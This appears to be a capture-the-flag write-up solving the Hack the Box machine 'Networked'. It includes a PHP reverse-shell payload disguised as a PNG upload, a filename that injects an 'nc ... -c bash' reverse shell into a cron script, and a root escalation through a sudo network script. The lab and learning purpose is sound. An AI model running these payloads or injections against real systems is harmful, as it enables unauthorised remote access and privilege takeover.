Hack the box: Networked#

Networked was an easy difficulty machine on Hack the Box. Here’s my take on solving the challenge.

Networked

Networked

TL;DR: Networked can be solved by finding a backup file on the server. Scipt analysis discloses a vulnerability in files filter in upload.php page. It can be exploited to plant a PHP reverse shell on the machine. Then, the user flag can be obtained by escalating through command injection in a cronjob. Privlege escalation is done by exploiting a command execution in a network script.

Recon#

Nmap scan shows basically only one surface of attack, the webserver:

# nmap 10.10.10.146 -sS -sV -O -n 
Starting Nmap 7.70 ( <https://nmap.org> ) at 2019-10-21 23:31 CEST
Nmap scan report for 10.10.10.146
Host is up (0.036s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.18 (91%), Linux 3.2 - 4.9 (91%), Crestron XPanel control system (89%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (89%), Linux 3.13 (89%), Linux 3.13 or 4.2 (89%), Linux 3.16 (89%), Linux 4.10 (89%), Linux 4.2 (89%)
No exact OS matches for host (test conditions non-ideal).OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 18.85 seconds

Scanning with dirb reveals a backup folder:

# dirb <http://10.10.10.146> /usr/share/wordlists/dirb/common.txt
-- snip ------ Scanning URL: <http://10.10.10.146/> ----
==> DIRECTORY: <http://10.10.10.146/backup/>                                                              
+ <http://10.10.10.146/cgi-bin/> (CODE:403|SIZE:210)                                                      
+ <http://10.10.10.146/index.php> (CODE:200|SIZE:229)                                                     
==> DIRECTORY: <http://10.10.10.146/uploads/>

Foothold#

It contains a backup archive with backend PHP scripts. As it turns out, the upload.php file relies on a weak file filter. First it check the file name with extension whitelist:

list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

Then it relies on on built in PHP function that recognize file type by it’s content and filters only images:

function file_mime_type($file) {
  $regexp = '/^([a-z\\-]+\\/[a-z0-9\\-\\.\\+]+)(;\\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

It can be bypassed by creating a a file with a “double extension” revshell.php.png:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.119/443 0>&1'"); ?>

On top of that the file has to look like proper PNG file. It can be achieved by prepending the file with a magic PNG header sequence. In hex the values are as follows:

89 50 4E 47 0D 0A 1A 0A

Such prepared file can be uploaded through the upload.php page. After that, navigating to gallery.php will spawn a reverse shell:

# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.119] from (UNKNOWN) [10.10.10.146] 42890
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$

User#

/home/guly folder contains an interesting crontab file that runs a simple php script. It’s supposed to check upload folder content and inform admin about any files with names that don’t match the name format. Fortunately for the attacker scripts author used a PHP exec function, where they concatenate the file name with rm command:

foreach ($files as $key => $value) {
-- snip --    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
}

Because of that, it’s vulnerable to a command injection. Placing a file in /var/www/html/uploads with name like:

; nc 10.10.14.119 444 -c bash

Should yield a reverse shell after couple of minutes (after cronjob activates) . This time with guly privleges:

# nc -nvlp 444
listening on [any] 444 ...
connect to [10.10.14.119] from (UNKNOWN) [10.10.10.146] 45808
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cd /home/guly
cat user.txt
526***

Root#

There is a certain custom script that can be run with root privleges without the password:

sh-4.2$ sudo -l
sudo -l
-- snip --User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

It’s a simple script that modifies a ifcfg-guly network script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no 
NM_CONTROLLED=no
EoFregexp="^[a-zA-Z0-9_\\ /-]+$"for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

After some fiddling with the script it turns out that everything that comes after a space in NAME will be executed as a command with root privleges. It’s possible to use that to set root’s password:

sh-4.2$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
a passwd
a passwd
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
Changing password for user root.
New password: tellicotellicoRetype new password: tellicotellicopasswd: all authentication tokens updated successfully.
Changing password for user root.
New password: tellicotellicoRetype new password: tellicotellicopasswd: all authentication tokens updated successfully.
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Now, all that’s left is to su to root and grab a token:

sh-4.2$ su 
su 
Password: tellicotellico[root@networked guly]# cd /root
cd /root
[root@networked ~]# cat root.txt
cat root.txt
0a8...